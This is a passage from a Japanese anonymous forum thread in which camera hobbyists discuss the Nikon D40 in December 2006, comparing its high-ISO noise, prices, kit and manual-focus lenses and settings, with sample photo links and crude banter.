563 :名無CCDさん@画素いっぱい:2006/12/09(土) 21:37:34 ID:X5x6cXlS0
>撮り鉄にはD40は向いていませんか?

ほとんど荒らし扱いw

564 :名無CCDさん@画素いっぱい:2006/12/09(土) 21:39:05 ID:1ypYqRL10
撮り鉄とか書いてる時点で放置。

565 :名無CCDさん@画素いっぱい:2006/12/09(土) 21:41:17 ID:X5x6cXlS0
D80スレでエレパのこと聞いたやつも基地外扱いされていたw

566 :名無CCDさん@画素いっぱい:2006/12/09(土) 21:42:20 ID:BdScRKK40
>>562
一瞬 俺かと思ってドキーッとした>>548
・・・・全然気つかんかった

567 :名無CCDさん@画素いっぱい:2006/12/09(土) 21:48:55 ID:LA/bwy7i0
>>539
http://hobby7.2ch.net/test/read.cgi/dcamera/1160659451/609
 609  Name: 名無CCDさん@画素いっぱい  [] Date: 2006/12/09(土) 17:13:20  ID: OSAOTd3z0  Be:
    撮り鉄するならば、70Sが最適?



568 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:09:46 ID:GGpUO4LQ0
高感度時(1600)のノイズレスは
5Dと比べてどう?

APS-Cで一番ノイズが少ないと聞いたもんで。
(30Dよりも少ないと考えていいのかな)

569 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:15:20 ID:eiplbau60
>>568
1600です
http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061209221416.jpg

570 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:27:23 ID:1ypYqRL10
>>569 それじゃわかんねーよw

571 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:32:58 ID:eiplbau60
>>570
そっか、ごめん。

572 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:33:39 ID:IuRLscwx0
ノイズも客観的な指標がないので自分で良いと思えば買いじゃないの。
少なくともD40は低価格エントリーとしてとても優秀だと思うけど。

573 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:50:38 ID:BdScRKK40
んじゃ俺が釣られてみる
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20061209224718.jpg

ISO1600
Jpeg撮って出し
後はExif見てけれ

被写体に対するツッコミは勘弁w


574 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:55:52 ID:BdScRKK40
>>572
同意
気軽に持ち歩けるし結構な画質だし。
今まで使ってたPowerShot S80要らなくなった(購入当時D40本体と同等の値段(;´Д`)


575 :名無CCDさん@画素いっぱい:2006/12/09(土) 22:56:28 ID:FIUv+xlk0
>>573
やっぱ1600に見えないよなぁ。

どうでもいいけど、後ろのクマ生地、うちの座布団の生地と一緒だw

576 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:11:33 ID:1ypYqRL10
リサイズされた画像で判断はちょっと

577 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:16:45 ID:BdScRKK40
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061209231446.jpg  -(2605 KB)

ああん もぅ


578 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:26:55 ID:/Dl5jX7y0
>>577
乙です。
いや1600に見えないね、30Dよりも少ないね、
5Dに匹敵?
今度は暗いとこで撮ったやつお願いします。

579 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:29:11 ID:FIUv+xlk0
注文多くてカワイソス・・・

580 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:30:50 ID:mog4enTa0
5万のカメラと5Dを比べるなよ。
さすがに可哀想過ぎるだろw

581 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:39:52 ID:c3BYYbAk0
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061209233828.jpg -(2550 KB)

ISO 1600でノイズリダクション無しだとこんなもん


582 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:40:35 ID:BdScRKK40
>>578
暗いとこ・・写せるとこ(見せられる)無いんだよなぁ
誰かに任せる。

583 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:43:45 ID:1ypYqRL10

5D買わなくてよかった!

584 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:52:47 ID:eiplbau60
懲りずに3200相当
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061209235147.jpg

585 :名無CCDさん@画素いっぱい:2006/12/09(土) 23:57:53 ID:/Dl5jX7y0
高感度最強だな、正直欲しくなった。
フジのS5Proを見てからでも良いが。
今まで高感度時のノイズレスはキヤノンの
独擅場だったので、キヤノン以外のメーカーは
選択肢になかった。正直他のメーカーにも
頑張って欲しいと思っていたが、まずは
ニコンが600万画素機でやってくれた。
キヤノンの今後の出方も少々気になるが・・・・。

586 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:09:36 ID:YqOLIcKd0
みんなよくもまあ、値段が全然違うカメラ比べるよな

俺は根っからのニコン党だけど
ささうがに5DとかS5Proは、D40よりカメラとしてしっかりしてると思うぞー
ホントに高感度だけでカメラ選ぶのかよ。

587 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:10:26 ID:QFvBh50z0
>>584
立体感つぶれてないね。

ところで歪みが少ない気がするんだけどレンズは何?

588 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:21:44 ID:D7ZGCfGN0
キャノン・パナはIXYとLUMIXのせいで俺の中ではノイジーランキントップ。


589 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:21:47 ID:p3kMhxFp0
ヤマダでD40レンズキットを\56,800でゲットしました。
最後までD50と迷ったけど、D40買ってよかったです!

590 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:27:36 ID:I37AFB5J0
>>589
オメ!

591 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:28:57 ID:ZenOZSr00
>>587
レンズ予想
ZF50mmで、F4かF5.6くらいと、あてずっぽうで言ってみる。

592 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:36:03 ID:7f7kpAFn0
キムタクのCMがウザイよな。
説得力ゼロ。彼の限界を見る気がする。

593 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:39:48 ID:aVGvdBKK0
>>589
レンズキット最安値−本体最安値=\4000円www

もう、どちらを買うべきかは自明だなw

594 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:41:32 ID:YqOLIcKd0
このレンズが4000円なら、買いで間違いないよね。

正直、うつりは普通の(ていうか結構いい)レンズだし。
中古で標準ズーム買うくらいなら、コレ

595 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:47:18 ID:3FBSMWNS0
>>589
D50の方がいいと思うけど
本人が満足ならまぁ

596 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:47:41 ID:p3kMhxFp0
そうか、レンズキットとボディの価格差から、\4,000のレンズってことになるんですね。
\4,000でこのレンズなら、とてもお買い得ww

597 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:48:24 ID:p3kMhxFp0
ちなみにD50はレンズキットで\56,800+ポイント10%でした。

598 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:48:39 ID:I37AFB5J0
数値見る分でも開放以外はなかなかなレンズだと思う
17-70買わなくて良かった。

http://www.photozone.de/8Reviews/index.html

18-55
http://www.photozone.de/8Reviews/lenses/nikkor_1855_3556/index.htm

599 :598:2006/12/10(日) 00:49:45 ID:I37AFB5J0
誤-17-70
正-18-70

600 :名無CCDさん@画素いっぱい:2006/12/10(日) 00:50:44 ID:ZVuxTEaF0
17-70・・・?

601 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:03:09 ID:uX41cgRm0
>>597
正解!

602 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:07:49 ID:kDO2LBKr0
予想以上のおもしろカメラのようだ。
D200xが楽しみ。

603 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:08:43 ID:2gBK0ZIrO
今日てWズーム手に入れたよ。
楽しいね、初一眼。
気付いたら日付変わってた・・・

箱から出したときに気になったんだが、本体液晶に保護フィルムが貼ってないのは仕様?展示品つかまされた?

604 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:11:53 ID:YqOLIcKd0
>>603
オメ! たくさん撮ってくれ

605 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:15:31 ID:xk/51p/J0
>>603
自分のも保護フィルムなんて付いてなかったよ。
でも、取り説の9ページの一番下にも「液晶モニターを保護するためのシール」について書いてあるんだけど、
パッケージングの仕様変更か何かかな。

606 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:16:38 ID:rDgUkoIn0
>>603 心配するな発売前日に入荷したてのやつも貼ってなかった。



607 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:26:55 ID:qDkqIYRF0
平日の子供とヌコを嫁に撮らせようと、D200+VR18-200をリビングに置いておいたが、
嫁は「デカいし難しい」と、ほぼ見向きしなかった。 仕方なくコンデジを使わせていた。

D40レンズキット買って転がしておいたら、嫁、人が変わったように一杯撮っていた。
「きれいに撮れるし、お出かけにも持って行きたいから、ポーチ自作しなくちゃ」だってさ。

俺も遊べるし、いい買い物したと思ってる。



608 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:29:19 ID:I37AFB5J0
そういや保護シートって無かったな D200も無かったと思う
気にもしてなかったw どうせ社外品のすぐ貼るんだし。

>>603
ウェルカム!ニコンはRAW現像ソフト別売りだけど、RAW現像もチャレンジしてみると面白さ広がるよ
色んな事がわかってくると上位機種、各種レンズ等々あるもの全て欲しくなる・・・・・

沼へようこそ

609 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:31:50 ID:4q+67ghW0
かみさんに D200 を使わせるなんて、
俺は怖くて絶対にしないな。

610 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:32:26 ID:2gBK0ZIrO
みんなありがとう!
モノは新品に見えたけど、
取説の記述が気になって。
1週間入荷待ちしたから、
もしかしてその間にクリーニングした?
って思ったのよ。
安心して激写できます。
感謝!!

611 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:37:16 ID:L65g4oXf0
>>607
KissD買えば3年前にその状態だったのに、無駄な年月を重ねたよねwww

612 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:43:24 ID:rDgUkoIn0
>>611の書き込みの無駄さに比べれば・・・

613 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:43:52 ID:p3kMhxFp0
液晶の保護シートってまだ専用品出てないですよね?
大きめのを買って自作したほうがいいかな。

614 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:47:24 ID:rRG6rq0a0
>>613
出てたよ。
さっそく貼ったよ。

で、その影響もあるのかもしれないけれど、カメラの液晶画面は少々赤くないですか?
PCで見ると適正なのですが…。

615 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:50:27 ID:p3kMhxFp0
あら、出てたんですか。ヨドバシ見てきます

616 :名無CCDさん@画素いっぱい:2006/12/10(日) 01:56:48 ID:/6dX3gXl0
>>613
D40専用ってもう淀にあったよ。



617 :名無CCDさん@画素いっぱい:2006/12/10(日) 02:03:31 ID:ch0ygb+z0
>>611
なかなか上手いこと言うな。
でもKissDは10万超えてたからな。そう簡単には買えなかったよ。

それを思えば、3年前はコンデジを使いこなして、
今、コンデジ並の価格になったD40にすると言うのは、極めて有効な金の使い方だよね。

618 :名無CCDさん@画素いっぱい:2006/12/10(日) 02:07:51 ID:p3kMhxFp0
コンデジ十年くらい使ってましたが、ぶっちゃけた話使いこなせてませんなww
D40で基本から学びなおす覚悟です。

619 :名無CCDさん@画素いっぱい:2006/12/10(日) 02:12:24 ID:YqOLIcKd0
はっきりいえば、コンデジのが難しい
ISO80で F4程度のレンズ。薄型、小型でぶれやすい。
高感度にするとグズズグにクズれる極小撮像素子。
メニューを呼び出すのは面倒くさい。
AFもどこにあってるのかわからない。



620 :名無CCDさん@画素いっぱい:2006/12/10(日) 02:33:26 ID:sFJ9C54S0
パイズリなんて幻想。

621 :名無CCDさん@画素いっぱい:2006/12/10(日) 02:33:59 ID:sFJ9C54S0
誤爆・・・><

622 :名無CCDさん@画素いっぱい:2006/12/10(日) 02:37:36 ID:YqOLIcKd0
どんな誤爆ダヨΣ(´д`ノ)ノ

623 :名無CCDさん@画素いっぱい:2006/12/10(日) 03:27:20 ID:0txWBvH80
半年後に後悔しない選択をしようね
D40って、何も売りが無いぜ?
D60を待った方がいい。絶対。

624 :名無CCDさん@画素いっぱい:2006/12/10(日) 03:31:13 ID:QGHrkVeB0
>>620
どこの誤爆か言ってから逝け


625 :名無CCDさん@画素いっぱい:2006/12/10(日) 03:32:27 ID:QGHrkVeB0
>>623
実機触ったことあるか?
スペッコだとイマイチだが触ると結構いいぜ
前評判に惑わされるな


626 :名無CCDさん@画素いっぱい:2006/12/10(日) 03:44:41 ID:DSrzyOU10
>>620の事かと思ったw
スペッコ触ってみてー

627 :名無CCDさん@画素いっぱい:2006/12/10(日) 03:50:14 ID:eDqBkYUB0
>>626
うほっ

628 :名無CCDさん@画素いっぱい:2006/12/10(日) 04:03:51 ID:QGHrkVeB0
>>627
ちょwwwwおまwwwww
IDちけえw

629 :名無CCDさん@画素いっぱい:2006/12/10(日) 05:43:25 ID:E4xpMwxp0
>>608
>>そういや保護シートって無かったな D200も無かったと思う

D200は、樹脂製保護カバーが付いていた。

630 :名無CCDさん@画素いっぱい:2006/12/10(日) 05:44:30 ID:bmoMwf6j0
>>618
正直コンデジの方がややこしいと思う事有るんだよな
とくに2/3型のCCDを使ったハイエンド機、オリC-8080wzとかややこしかったぞ
マクロ撮影も癖物だったし、MFなんて合わせられないよ、ファインダーは液晶だろw
RAW撮り1枚撮るのに12秒も掛かるし><AF反応遅いというか
それに比べると一眼の使いやすさと、きびきび反応は最高だね
サルでも取れるフルオートが付いてるし、ほんと押すだけ簡単高画質だからな。

631 :名無CCDさん@画素いっぱい:2006/12/10(日) 06:47:20 ID:0vt2AUOQ0
>>630
>サルでも取れるフルオート
流石にサルは無理だろw

632 :名無CCDさん@画素いっぱい:2006/12/10(日) 08:45:37 ID:QkVg3koF0
>>630-631
昔「サルにもわかる・・・・」という名前のPCシリーズ本を読んで
よく理解できなくてひどく落ち込んだことを思い出してしまった・・・。

633 :名無CCDさん@画素いっぱい:2006/12/10(日) 08:55:53 ID:eDqBkYUB0
「サルでも描けるまんが教室」は、大変参考になりましたよ


634 :名無CCDさん@画素いっぱい:2006/12/10(日) 09:50:35 ID:hUh4Fx9Z0
ゴメスなら教えればゲスト撮るようになるかも

635 :名無CCDさん@画素いっぱい:2006/12/10(日) 09:52:48 ID:rWfRnFXm0
昨日ボーナス握り締めてD40いじりに店頭行ったら置いてなかったよー!!

仕方なくD50いじってみたらレンズがギトギト。見た目もなんか
webで見た印象と違って好みのデザインじゃないような。
次点候補のキスデジいじってみたけど壊れてたようでAF/MF切り替えても
動かなかったよー!

40なら実物も小さくてカワイイことに期待してまだ現金握り締めてる俺。
あとNikonだけカタログ置いてなかったけど、キムタクの影響?

636 :名無CCDさん@画素いっぱい:2006/12/10(日) 10:44:44 ID:I37AFB5J0
>>635
たんまり出たんでそ?ボー茄子
ここで言うのも何だがD80かD200も視野に入れたら?
欲しくなるよ〜?w


637 :名無CCDさん@画素いっぱい:2006/12/10(日) 11:02:41 ID:lcpP4xAO0
今、気が付いたが価格ぬきでもD40もD200も同じくらい欲しい。
最近のニコンのエントリー機は絶対お買い得

638 :名無CCDさん@画素いっぱい:2006/12/10(日) 11:04:24 ID:Xp10ODRr0
af-sは鉄道写真撮影に向いていませんか?

639 :名無CCDさん@画素いっぱい:2006/12/10(日) 11:34:07 ID:ng+sTd9o0
>>636
デジ一初めてなもんでやっぱりまずは入門機かなぁ。レンズも持ってないしね。
D80置いてあったからいじって来たけどちょっとカワイクなかったかな。

とりあえずレンズに20万以上かかりそうなことが解ったので、ペンターとか
サイバーショットも見てくるよ!


640 :X''CULTer's / Esprit de Digicam ◆KN.C37077Y :2006/12/10(日) 11:44:52 ID:U1eQ8IcO0
K100Dの予備として(後継機種が1,000万画素になった場合)、D40は候補に入れたいところ。

レンズどんなのがおすすめ?

641 :名無CCDさん@画素いっぱい:2006/12/10(日) 11:51:19 ID:kVhGoGeD0
>>640
その購入目的だとK100Dを予備にもう一台買っておくのがベスト。

642 :名無CCDさん@画素いっぱい:2006/12/10(日) 11:51:23 ID:9MDBVxdb0
レリーズ音だけ比べたらK10DよりD40のが高級機ですね。
しかしあのデザインはないよ!
小さいカメラには小さいカメラに相応しいデザインがあるはず。
ニコンデザイン部よ、精進せよ。

643 :X''CULTer's / Esprit de Digicam ◆KN.C37077Y :2006/12/10(日) 11:54:13 ID:U1eQ8IcO0
>>641
それもそうだな。
物珍しさもあってちょっと書いてみただけ。

644 :名無CCDさん@画素いっぱい:2006/12/10(日) 11:58:46 ID:HOWp3byr0
そんなに小さくもないし、可愛くもないと思う。

645 :名無CCDさん@画素いっぱい:2006/12/10(日) 12:01:50 ID:rDgUkoIn0
君、かわいいね。

646 :名無CCDさん@画素いっぱい:2006/12/10(日) 12:45:13 ID:9MDBVxdb0
ああっあ、あ〜い〜するなんて〜

647 :名無CCDさん@画素いっぱい:2006/12/10(日) 13:12:06 ID:gdqPmPAP0
よーしやったぞ! D40レンズキットぽちっとな!

648 :名無CCDさん@画素いっぱい:2006/12/10(日) 13:16:00 ID:crny7CGC0
>>647
おめ。SDカードも忘れずにな。

649 :名無CCDさん@画素いっぱい:2006/12/10(日) 13:27:57 ID:Pa4qAfAn0
量販で55-200付いたD40、テレ端で覗いてあらためて思った。
もう手持ちVRしか使えなくなってる。

650 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:16:04 ID:f4WU+vT0O
デジ一入門者です。
一昨日キタムラで、Wレンズキット購入。
今日ワンコ連れて、色々な所で撮りまくってきますた。
すごく楽しかったです!
勉強して早く上手に撮れるようになりたいです!

651 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:17:32 ID:1aphelU2O
>>480
ようこそここへクッククック♪

団塊か?

652 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:18:28 ID:DnsBAaAx0
>>651
オマエモナー

653 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:26:12 ID:mBYpP+U1O
ファインダー明るくていいねえ
MFしたときは下の●じゃなくてAFと同じように
[]が赤く光った方が良かったのに

654 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:30:44 ID:aYyI2jHbQ
45/2.8だけつけて撮影に来た。
こりゃすごいね、撮影意欲がこんこんと沸く。
風景が撮ってくれと呼んでる気がする。
マニュアル単焦点との相性いいわ、これ。


655 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:35:22 ID:TMpKBDK80
漏れもそーゆーカメラのような気がする。

656 :名無CCDさん@画素いっぱい:2006/12/10(日) 14:38:05 ID:ZqSBVPOSO

やっぱりニコンか!


657 :名無CCDさん@画素いっぱい:2006/12/10(日) 15:06:55 ID:Ci94MNLy0
>>650
おめ!初めてのデジ一は楽しいよね!
いっぱい撮ってやってね。

>>654
つZF

658 :名無CCDさん@画素いっぱい:2006/12/10(日) 15:42:04 ID:N5VzkAYe0
>>654
おー一緒だ、厨房時代初めて一眼買った時のわくわく感が戻ってきた。
つ50f1.4D
高感度と合わせ技で、夕方ぬこ撮り最強。
しかし、MFの腕を問われる両刃の剣ww
あとAWBを青傾向に+1
仕上がり設定で
カスタマイズ選択、階調-1
カラー設定Ta
HUE-3(黄色→赤傾向)
にしている。
中級持ちの人向け。
ちょっとおとなしいけど、自分は散々調整してここに落ち着いた。
AWBとHUEで擬似的にニ軸のカラー調整をするところがミソ
空もいい感じだよん。




659 :名無CCDさん@画素いっぱい:2006/12/10(日) 16:59:25 ID:S7XAT31H0
「18-55 U」をD50につけたらフォーカス速度はどうなんだろ?
D50のキットレンズと速さ違うの?



660 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:03:26 ID:pRnsSOum0
同じ。

661 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:04:39 ID:VrS+Blcd0
>あとAWBを青傾向に+1

D50はAWBの徴調整って出来るの?1

662 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:05:50 ID:x90Opp7y0
>>659
全く同じ。
が、18-55 Uの方がデザインが良いと思う。
これ買ってD50手放したが、ティンコレンズカコワルかった(゚ε゚)

663 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:34:18 ID:rDgUkoIn0
ニコンの普及価格帯レンズはデザインがカッコ悪いの多いな
質感は我慢するにしてもぶっといティンコ系デザインは何とかしろよw


664 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:46:00 ID:j1zfGP+N0
>>663
カイシュツ:包茎型として世間一般に知られているww

D50使い続けたいけどレンズだけ「U」にしたいお


665 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:46:01 ID:mvcf+Dt20
包茎レンズ

666 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:47:04 ID:pRnsSOum0
IIにすればいいじゃん。
持ちやすいよ。

667 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:55:11 ID:rDgUkoIn0
菜々子に包茎型持たせてたのは狙ってたのか・・・

668 :名無CCDさん@画素いっぱい:2006/12/10(日) 17:57:02 ID:VDrd/FXF0
藻前らD40盛り上がってるな

デジカメはコンパクトのE990をずっと使ってきたから一眼デジカメには興味なし
愛用のE990のダイヤルの反応がいまいちなので、今日、近所のキタムラに行ったら
ニコンの中の人が来て販促してた
漏れはフィルムでF5・FM2/T・F-501と使っているフィルム派だが
試しにさわらせてもらったら、ほんとにコンパクトサイズなのな
こんなだとは思わなかったよ







今、E990が見あたらない代わりに見慣れないカメラが机の上にある
財布から6マソ消えてる

何が起きたんだ?orz


669 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:07:24 ID:I37AFB5J0
>>668
(・∀・)ニヤニヤ

オメ&ウェルカム!!!!

670 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:21:35 ID:j1zfGP+N0
しかしアレだな
MFのとき安っぽくまわる先っぽのギザギザはちょっと何とかしてほしいけど
安いからまぁいいか・・

671 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:23:15 ID:+39/STBx0
で、超音波モーターの入った単焦点・短焦点レンズは何時出るんだ?
ペンタのリミテッドレンズみたいな奴を希望。

672 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:23:24 ID:O5SMRC9j0
D40で早速都内某公園でパシャパシャ撮ってきた
久し振りに楽しめたよ

673 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:27:04 ID:aYyI2jHbQ
670
よし俺がそれに名前を付けてやる。
「ちんこの先っちょの皮」でどうだ。

674 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:28:25 ID:E+mpm/6U0
自分のを見ながらネーミングするな。

675 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:29:49 ID:j3JTHGH50
>>668
お、おいっ、まさかE990を里子に出したのか?
今じゃE950やE990みたいなシャッキリクッキリのカメラは買えないぞ。
AFなんかは確かにゴゴゴゴと遅いけど、大きな不満が無ければ使い続けるべきだろ。


676 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:30:14 ID:rDgUkoIn0
「魔法のお稲荷さん」

677 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:33:12 ID:o1Dke06i0
D40カイマスタ。
18-200VRを付けてみたが、D200とさほどスピードかわらんす。
もち、AF-AでなくAF-Sに変えてるが。

678 :668:2006/12/10(日) 18:34:12 ID:VDrd/FXF0
>>675
ヒント:神さん激怒→これは私がもらう!

679 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:35:55 ID:TqN1MWyS0
>>672
手ぶれとかしませんでしたか?

680 :名無CCDさん@画素いっぱい:2006/12/10(日) 18:41:48 ID:SVRMKFd6O
衝動買いで買えてしまうってところがポイントだな

・・・恐ろしい子っ

681 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:04:08 ID:oj0ZQUrT0
>>661
できるよん。
撮影メニュー>ホワイトバランス選択で?ボタン(縮小表示ボタン)
押してみれ。
説明がでる。
撮影メニュー>ホワイトバランス>AWB>で右カーソル押すと
プラスマイナス表示がでる。
ここでプラス方向だ。
やってみそ。
実はD200持っていながら、こっち使うときはいつもRAW現像だったので、
できるの知らんかった(苦笑)
D40はお散歩に撮って出しの気軽さで使いたかったので、カメラで完結させようとして発見したよ。
それにしても、D40素直に写真撮るのが楽しくなるカメラだわ。




682 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:21:43 ID:I37AFB5J0
>>681
>D40はお散歩に撮って出しの気軽さで使いたかったので、カメラで完結させようとして発見したよ。
それにしても、D40素直に写真撮るのが楽しくなるカメラだわ。

同感 俺もD200持ちだけど、D200って気軽に持ち歩けないのよね。
いかにも〜!って感じだし、結構無理して買ったので神経質な扱いになってしまうし・・ orz

D40は気軽でいい。ローパスフィルターの掃除練習もガンガン出来るw

683 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:25:50 ID:IP4fVKN10
まあ安いからローパスフィルターの掃除練習もガンガン
出来るね。
サブにはもってこいだ

684 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:25:47 ID:DW8LbhFp0
所有カメラ、
ミノ:α7D、単焦点を3本ほど、あとシグマの17-70。
オリ:E-500、ZD50mmF2.0。このレンズがためだけに購入。
リコー:GRD
ニコン仕様歴は銀塩時代にあり、デジはE5000だけ。E5000の満足度は5年前当時非常に高かった。

先週店頭でD40を見て即衝動買いしました。
持ち歩いて触っていじってファインダー除いて…、楽しいです。
うーん、D40買って以降、E-500のずんぐりボディがやぼったく見えて仕方がない。なんでこんなにちがうのか。レンズは好いのに…。
しかし家に帰って画像をPCで見ると、やっぱりキットレンズの画質に満足できません。
単焦点を買うつもりです。

AF35mmF2.0とか50mmF1.8とか写りはいろんなブログで確認済みなんですが、マニュアルフォーカス時のピントリングの操作感はどうですか?
D40ではAFできないんだから、操作感が悪いなら初めから中古でMFレンズを買おうかなとも思うんですけど。
Nikkorに限らず、D40にお勧めの(スナップ用)単焦点レンズを教えてください。

685 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:33:05 ID:+QNHwTaB0
広角ZFが出るまで悩み続けるがよろし

686 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:33:55 ID:Ci94MNLy0
>>684
つAi Nikkor 45mm F2.8 P
ttp://dc.watch.impress.co.jp/cda/parts/image_for_link/72899-5078-53-1.html

これ最強

687 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:36:34 ID:kVhGoGeD0
>>684
単焦点レンズは↓こんな感じ

  ☆ チン

        ☆ チン  〃  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ヽ ___\(\・∀・)<  AF-S 45mm f2.8 まだー?
             \_/⊂ ⊂_)_ \____________
           / ̄ ̄ ̄ ̄ ̄ ̄ ̄/|
        |  ̄  ̄ ̄ ̄ ̄ ̄ ̄:| :|
        | パンケーキ出せ .|/

688 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:42:07 ID:oj0ZQUrT0
>>684
自分も
つAi Nikkor 45mm F2.8 P
D200用の35mmF2.0、50mmF1.4、28mmF2.8付けて見たけど、
どれでも普通にMFできる。
AF世代のレンズは、フォーカスリングが軽いけど、慣れれば平気。
ただ、Ai Nikkor 45mm F2.8 PはMF専用かつ、CPU付きなので、現時点の操作感覚はコレが一番だと思う。





689 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:50:36 ID:mNWSEei20
けっこうファインダー明るくて広い。
ピント合わせやすいね。

690 :名無CCDさん@画素いっぱい:2006/12/10(日) 19:55:05 ID:l58wsReh0
Ai50mmF1.8もいいよ。MFで使うならMFニッコールの操作性がいい。
コンパクトだし。


691 :名無CCDさん@画素いっぱい:2006/12/10(日) 20:06:23 ID:x90Opp7y0
>>689
液晶挟んでないのでD200よりクリアーだ。
D200も液晶無しのスクリーンに交換出来ないのか。
まぁ出来たとしても合集で赤く光らないわな。orz

692 :584:2006/12/10(日) 20:25:22 ID:rRG6rq0a0
感度800
Nikkor N・C AUTO 2.8
かなり古いMFレンズです。

>>591
584は普通のAI-sNikkor50mm1.4でした。

D40でMFレンズは楽しいですねえ。
AF-D、Gだと最小絞りに設定してやりにくいダイヤルで絞りを変えるのが面倒。
MF(AI-s等)だと、レンズの絞り輪をガシャガシャやればいいので簡単です。
前にも書いたけど背面の十字キーを絞り制御にカスタマイズできればいいのに。。

それからこれも前に書いたのですがカメラの背面液晶は赤くないですか?

693 :名無CCDさん@画素いっぱい:2006/12/10(日) 20:29:28 ID:rRG6rq0a0
↑貼り忘れました。

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210201813.jpg

694 :654:2006/12/10(日) 20:53:56 ID:Tq/M9P+O0
D40にNikkor 45/2.8Pをつけて撮ってきた。

マット面でのピント合わせを基本とし、時々フォーカスエイド(AFの合焦マーク)にて感覚にズレ
が無いことを確認。マット面を使ったマニュアルフォーカスでも充分使えるとの感触を得ました。

機材外観(下記写真のみGR DIGITALで撮影)
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210202958.jpg

D40+Nikkor 45/2.8P
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210203322.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210203650.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210203920.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210204153.jpg



695 :名無CCDさん@画素いっぱい:2006/12/10(日) 20:57:24 ID:wnVyFjMo0
これは酷い・・・。
少々大きくてもキットレンズのほうがマシですな・・・。

696 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:19:03 ID:m+RAGAKb0
>>694
全て開放ですかね?結構ボケるものですね。
ただ、最後の写真は少し絞って(感度も上げてSSも早くして)撮っても良かったのでは?と思いました。

>>695
